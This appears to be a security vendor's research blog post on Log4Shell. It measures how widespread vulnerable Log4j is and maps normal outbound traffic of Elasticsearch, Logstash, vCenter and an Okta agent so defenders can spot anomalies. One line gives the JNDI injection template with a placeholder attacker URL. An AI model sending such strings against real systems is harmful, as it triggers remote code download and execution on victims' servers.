Quantifying Log4Shell: Vulnerability on a Massive Scale
Anything you log can and will be used against you
The Log4Shell vulnerability is here to stay. There is a lot of speculation about the scope and true impact of the vulnerability: While many have labeled it “severe,” information is limited on how widespread the risk is. In order to shed some light on the issue, Akamai Threat Labs is utilizing its visibility into numerous data centers worldwide to assess the actual risk Log4Shell poses to organizations.
Key findings:
Two-thirds of all inspected Java servers included a vulnerable Log4j
91% of the examined data centers run Java server-side applications; among them, more than 40% include internet-facing Java servers
Looking at outbound communication patterns, the vast majority of Java applications examined communicate over few ports
Analysis of outbound communication patterns can help organizations detect anomalous behavior, and mitigate some of the risk posed by Log4Shell
For further analysis of Log4Shell exploitation trends, based on Akamai’s vast visibility of online activity, check out Akamai’s blog on the topic.
Introduction
Akamai Guardicore Segmentation is used in hundreds of data centers around the world, providing process-level network visibility and enforcement. Simply put, process-level network visibility allows us to see every network connection made within the network, and know which process initiated the connection on the source asset as well as which process received it on the destination asset.
The wide deployment, together with this unique process-to-process information, allows us to study network communication patterns inside data centers and cloud networks as well as across their perimeters. With this information, we can derive conclusions about the full magnitude of risk imposed by Log4Shell on our digital lives and what network security practitioners can do to limit it.
This blog post is divided into two parts. The first sheds light on organizations’ attack surface — in other words, how likely it is for an organization to be vulnerable to Log4Shell. The second part will zoom in on some vulnerable applications that are widely used in production environments and outline their normal communication patterns. This should provide defenders with information that will help them segment these applications properly and prevent successful exploitation.
Quantifying the Log4Shell risk
To understand how prevalent Java is among organizations, we gathered data from over 200 different data centers around the world, of various sectors and sizes. In each data center, we identified the internet-facing servers, as well as servers running Java that accept network connections. We took into consideration both Java processes (java.exe, java for Linux, javaw, etc.) and processes that load the Java virtual machine into their own memory.
Assessing the risk — the prevalence of Log4j in data centers
While speculations regarding the scale and scope of the vulnerability abound, examination of data centers allows us to use data to quantify the risk posed by the Log4Shell vulnerability.
The team found a great number of servers vulnerable to Log4Shell attacks in the environments examined. In fact, we found that in these environments, on average, two-thirds of all Java servers included a vulnerable Log4j. In some environments, upward of 90% of all Java machines were vulnerable. This is a much higher number than we originally anticipated, and paints a grim picture of how widespread the vulnerability may be.
In another, smaller-scale test, the research team found that 100% of the environments examined had at least one server vulnerable to Log4Shell, prior to patching. This indicates the level of risk that existed in these environments prior to the patch being released. Once patching is started, we are able to see the number of vulnerable environments decrease. However, it’s important to understand that even a small number of vulnerable servers in a large environment may introduce a significant attack surface into the environment.
The above numbers speak to the heart of the issue. The popularity of Log4j has made this vulnerability widespread overnight, on a scale rarely seen. Understanding that nearly two-thirds of all Java servers are still vulnerable requires IT and security teams to work hard to uncover where the logging utility might be used, and plan for mitigation.
Internet-facing Java servers pose additional risk
The vulnerability of servers is compounded by their accessibility. While the vulnerability itself is reason enough for concern, an internet-facing server poses additional risk, due to the fact that it could be used as an attack vector to enter the network. As analyzed in Akamai’s research into Log4j internet traffic trends, we can see that attackers are racing to abuse this vulnerability any way they can, and in astounding numbers.
In our research, we found an alarming 91% of data centers running Java server-side applications. Among them, more than 40% include internet-facing Java servers. This brings additional complexity to the story. Internet-facing servers may be much more easily abused, as they are easily accessible to the outside world. In the next section of this blog, we will focus on the outbound communications of Java applications, and make some mitigation recommendations for those looking to monitor and secure internet-facing servers running Java applications.
Note, however, that data centers where all Java servers are internal (namely, not internet-facing) cannot be considered safe. While Log4Shell has been mainly perceived as a means to breach networks, some cases showed how Java applications running on internal servers received logs from internet-facing servers and ended up being compromised. Log4Shell can thus be used as easily for lateral movement as for initial breach.
Data-assisted mitigation
Log4Shell is especially powerful when used to download a payload from a remote, attacker-controlled machine onto the victim and execute it. To do that, the attacker injects a log message in the format ${jndi:ldap:<attacker_URL>}, which eventually triggers a connection from the vulnerable application process to the embedded URL. The remote Java class object is then downloaded and executed in memory.
Knowing this, Akamai Threat Labs has begun mapping communication patterns of Java servers, and specifically of several applications that are vulnerable to Log4Shell. Understanding how Java servers and processes communicate regularly provides security and IT practitioners with essential information for detecting and mitigating anomalies in their environments, eventually stopping Log4Shell exploitation and allowing normal business operation to continue.
Mapping outgoing communication: How do Java servers reach out?
To understand how Java servers communicate with the internet, we began by quantifying the number of destination TCP ports used by Java applications to connect to the internet. As per our analysis, the vast majority of internet-facing servers communicate over very few ports (less than 10).
This emphasizes the importance and security benefits of limiting the allowed outgoing communication from the different servers and processes in your data center. Namely, identifying communication to a destination port for the first time, from a process that so far has communicated over a specific set of ports, could be effective to identify attack attempts.
We continue this line of exploration on a more granular basis for several common Java applications.
Application-specific communication patterns
Using Akamai Guardicore Segmentation’s unique process-level visibility, Akamai Threat Labs is able to gather detailed information on the behavior of specific applications vulnerable to Log4Shell. This data can be used to study normal behaviors of these processes, detect anomalies, and create effective segmentation rules accordingly.
The team examined the communication patterns of four popular vulnerable applications (we specify in parentheses the process that triggers network traffic):
Elasticsearch: a very popular full text search engine with a variety of use cases (%elasticsearch%/bin/java)
Logstash: server-side data processing pipeline used for data ingestion and transformation (/usr/share/logstash/jdk/bin/java)
VMware vCenter: a management platform for VMware virtual machines and ESXi hosts (%\VMware\vCenter Server\%\bin\java.exe)
Okta RADIUS agent: an agent used to delegate RADIUS authentication to the Okta identity management solution (okta-radius.exe)
The questions we wanted to answer were as follows:
What destination ports do these applications usually connect to?
Specifically, what ports do these applications connect to when the destinations are on the internet?
Looking at aggregated data from various production environments, we achieved some unique insights. We observed that applications have a very limited number of internet destination ports:
Logstash |
Elasticsearch |
vCenter Server |
Okta RADIUS Agent |
|
Outgoing ports |
443 53 9200 9092 80 |
9300 443 53 9301 80 |
Large Number Of Ports |
80 443 |
Outgoing internet |
443 |
443 80 |
9080 902 443 80 |
80 443 |
However, looking at ports will not always be enough, as attackers can easily hide their traces by changing the ports used for downloading payload to those mentioned above.
To form more useful conclusions from this data, we needed to look into destination IP addresses as a means of understanding what constitutes normal activity through these ports. Hiding attack traces becomes much more challenging with IP addresses: If a certain server communicates with only one IP address on the internet, an attacker would have to gain control over the server behind that IP to serve their malicious payloads from there. Therefore, studying destination IPs can be useful for defense purposes.
The analysis provides an average of unique IP addresses that each application connects to for each port. A low, constant number of addresses can pave the way for another prevention and/or detection opportunity. Namely, if an application “talks to” very few IP addresses, all other connections can be considered suspicious.
We have looked at the number of unique destination IP addresses for ports 443 and 80 and saw that in almost all of the cases, their number was low and stable across time:
Logstash |
Elasticsearch |
vCenter Server |
Okta RADIUS Agent |
||
Average internet addresses per port |
TCP port 443 |
4.0 |
7.2 |
7.0 |
3.75 |
TCP port 80 |
- |
2.0 |
1.3 |
- |
|
Understanding that many vulnerable applications may have pretty limited connection patterns (both with regard to destination ports and destination IPs) could be used for both attack surface reduction and attack detection.
Conclusions
The most recommended mitigation for the Log4Shell vulnerability is using a patched version of the library itself. However, as is known, patching is not always feasible (or quick) in production environments.
Our findings on the communication behavior of different vulnerable applications suggest another approach for reducing the attack surface and detecting exploitation of Log4Shell (as well as other attacks).
We encourage network administrators to study the communication patterns of vulnerable applications and map their outbound connections — both with regard to destination IP addresses and destination ports. With this knowledge at hand, defenders can limit these connections to the bare minimum by allowing traffic only on known, standard communication ports.
In cases where blocking connections is not an option, we recommend monitoring anomalies in connections originating from internet-facing servers, be it new ports or IP addresses. Users of Akamai Guardicore Segmentation can utilize process-level information to enhance the visibility into the various connections each server performs. This data is investigated proactively by our threat hunting team for Hunt customers.
For more information on mitigating Log4Shell attacks, please check out our blog: Mitigating Log4j Abuse Using Akamai Guardicore Segmentation.
